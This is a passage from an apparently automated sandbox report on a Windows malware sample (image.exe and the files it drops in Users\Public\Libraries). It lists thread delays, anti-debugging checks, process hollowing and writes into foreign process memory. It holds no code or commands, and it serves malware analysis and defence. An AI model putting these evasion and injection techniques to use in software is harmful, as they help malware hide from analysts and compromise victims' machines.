            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596343Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596231Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596125Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595984Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595827Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595719Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595609Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595500Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595391Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595281Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595170Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595062Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594953Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594844Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594734Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594625Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594516Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594406Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594297Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 922337203685477
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 600000
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599891
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599781
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599672
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599563
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599375
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599136
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599016
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598891
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598766
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598656
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598547
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598438
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598313
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598188
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598078
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597969
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597844
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597735
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597610
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597485
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597360
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597235
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597110
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596985
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596860
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596735
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596610
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596485
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596360
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596235
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596110
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595985
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595860
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595735
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595614
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595485
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595360
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595235
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595110
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594985
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594860
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594735
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594610
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594485
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594360
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594235
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594110
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 593985
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 593860
            Source: Pumyophn.PIF, 00000004.00000002.1829239172.00000000008AF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll5
            Source: Pumyophn.PIF, 00000009.00000002.1915195422.00000000006E6000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllq
            Source: nhpoymuP.pif, 0000000E.00000002.2962865197.00000000240D5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlldt
            Source: image.exe, 00000000.00000002.1711881761.0000000000873000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
            Source: image.exe, 00000000.00000002.1711881761.000000000084B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWHy
            Source: nhpoymuP.pif, 00000007.00000002.2962828189.0000000025869000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll>
            Source: nhpoymuP.pif, 00000003.00000003.1964748013.000000002D7DE000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1983111128.000000002D7DE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
            Source: image.exe, 00000000.00000002.1711881761.0000000000873000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWD
            Source: C:\Users\user\Desktop\image.exeAPI call chain: ExitProcess graph end nodegraph_0-25416
            Source: C:\Users\Public\Libraries\nhpoymuP.pifAPI call chain: ExitProcess graph end nodegraph_3-23780
            Source: C:\Users\Public\Libraries\Pumyophn.PIFAPI call chain: ExitProcess graph end nodegraph_4-27011
            Source: C:\Users\Public\Libraries\nhpoymuP.pifAPI call chain: ExitProcess graph end nodegraph_7-86022
            Source: C:\Users\Public\Libraries\Pumyophn.PIFAPI call chain: ExitProcess graph end node
            Source: C:\Users\Public\Libraries\nhpoymuP.pifAPI call chain: ExitProcess graph end node
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information queried: ProcessInformationJump to behavior

            Anti Debugging

            barindex
            Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CAEBE8 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,0_2_02CAEBE8
            Source: C:\Users\user\Desktop\image.exeProcess queried: DebugPortJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFProcess queried: DebugPortJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFProcess queried: DebugPort
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_2B6FB2A0 LdrInitializeThunk,7_2_2B6FB2A0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,3_2_0040CE09
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,task_proc,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,3_2_004019F0
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CA8798 LoadLibraryW,GetProcAddress,FreeLibrary,0_2_02CA8798
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_0040ADB0 GetProcessHeap,HeapFree,3_2_0040ADB0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess token adjusted: DebugJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,3_2_0040CE09
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,3_2_0040E61C
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,3_2_00416F6A
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_004123F1 SetUnhandledExceptionFilter,3_2_004123F1
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_1_004123F1 SetUnhandledExceptionFilter,3_1_004123F1
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_1_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,3_1_0040CE09
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_1_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,3_1_0040E61C
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_1_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,3_1_00416F6A
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,7_2_0040CE09
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,7_2_0040E61C
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,7_2_00416F6A
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_2_004123F1 SetUnhandledExceptionFilter,7_2_004123F1
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_1_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,7_1_0040CE09
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_1_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,7_1_0040E61C
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_1_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,7_1_00416F6A
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 7_1_004123F1 SetUnhandledExceptionFilter,7_1_004123F1
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,14_2_0040CE09
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,14_2_0040E61C
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,14_2_00416F6A
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_2_004123F1 SetUnhandledExceptionFilter,14_2_004123F1
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_1_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,14_1_0040CE09
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_1_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,14_1_0040E61C
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_1_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,14_1_00416F6A
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 14_1_004123F1 SetUnhandledExceptionFilter,14_1_004123F1
            Source: C:\Users\Public\Libraries\nhpoymuP.pifMemory allocated: page read and write | page guardJump to behavior

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Allocates memory in foreign processes
            Source: C:\Users\user\Desktop\image.exeMemory allocated: C:\Users\Public\Libraries\nhpoymuP.pif base: 400000 protect: page execute and read and writeJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFMemory allocated: C:\Users\Public\Libraries\nhpoymuP.pif base: 400000 protect: page execute and read and writeJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFMemory allocated: C:\Users\Public\Libraries\nhpoymuP.pif base: 400000 protect: page execute and read and write
            Sample uses process hollowing technique
            Source: C:\Users\user\Desktop\image.exeSection unmapped: C:\Users\Public\Libraries\nhpoymuP.pif base address: 400000Jump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection unmapped: C:\Users\Public\Libraries\nhpoymuP.pif base address: 400000Jump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFSection unmapped: C:\Users\Public\Libraries\nhpoymuP.pif base address: 400000
            Writes to foreign memory regions
            Source: C:\Users\user\Desktop\image.exeMemory written: C:\Users\Public\Libraries\nhpoymuP.pif base: 277008Jump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFMemory written: C:\Users\Public\Libraries\nhpoymuP.pif base: 313008Jump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFMemory written: C:\Users\Public\Libraries\nhpoymuP.pif base: 274008
            Source: C:\Users\user\Desktop\image.exeProcess created: C:\Users\Public\Libraries\nhpoymuP.pif C:\Users\Public\Libraries\nhpoymuP.pifJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFProcess created: C:\Users\Public\Libraries\nhpoymuP.pif C:\Users\Public\Libraries\nhpoymuP.pifJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFProcess created: C:\Users\Public\Libraries\nhpoymuP.pif C:\Users\Public\Libraries\nhpoymuP.pif
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^q(U
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^qxb
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^q@
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027CB8000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027CB4000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program Manager
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^q$K
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027CB8000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^qD
            Source: nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260AA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^qdW
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027CB4000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^q0b
            Source: nhpoymuP.pif, 00000007.00000002.2976362655.000000002C0EE000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: +Program Manager
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027CB8000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^qp
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^q0
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260AA000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^qt
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260AA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^q4
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^qtX
            Source: nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260AA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^qTv
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027CB4000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^qpP
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^qdB
            Source: nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260AA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^qD"
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^qTa
            Source: nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260AA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^q4A
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027CB4000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^qPY
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027CB8000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260AA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^q`
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^q
            Source: nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260AA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^q$+
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260AA000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^qd
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027CB8000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260AA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^q$
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027CB8000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027CB4000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^q
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027CB4000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^qL
            Source: nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260AA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^qtm
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027CB8000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^qP
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^q4,
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260AA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^qT
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^qHL
            Source: nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260AA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^qt8
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^q`"
            Source: nhpoymuP.pif, 0000000E.00000002.2964961500.0000000026094000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^q(j
            Source: nhpoymuP.pif, 0000000E.00000002.2964961500.00000000260AA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^qX
            Source: nhpoymuP.pif, 0000000E.00000002.2964961500.0000000026094000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR^qxw
            Source: nhpoymuP.pif, 0000000E.00000002.2976364838.000000002A83E000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: o*Program Manager
            Source: C:\Users\user\Desktop\image.exeCode function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,0_2_02C95A78
            Source: C:\Users\user\Desktop\image.exeCode function: GetLocaleInfoA,0_2_02C9A790
            Source: C:\Users\user\Desktop\image.exeCode function: GetLocaleInfoA,0_2_02C9A744
            Source: C:\Users\user\Desktop\image.exeCode function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,0_2_02C95B84
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: GetLocaleInfoA,3_2_00417A20
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: GetLocaleInfoA,3_1_00417A20
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,4_2_02CA5A78
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: GetLocaleInfoA,4_2_02CAA790
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,4_2_02CA5B83
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: GetLocaleInfoA,7_2_00417A20
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: GetLocaleInfoA,7_1_00417A20
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,9_2_02ED5A78
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: GetLocaleInfoA,9_2_02EDA790
            Source: C:\Users\Public\Libraries\Pumyophn.PIFCode function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,9_2_02ED5B83
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: GetLocaleInfoA,14_2_00417A20
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: GetLocaleInfoA,14_1_00417A20
            Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Users\Public\Libraries\nhpoymuP.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformationJump to behavior
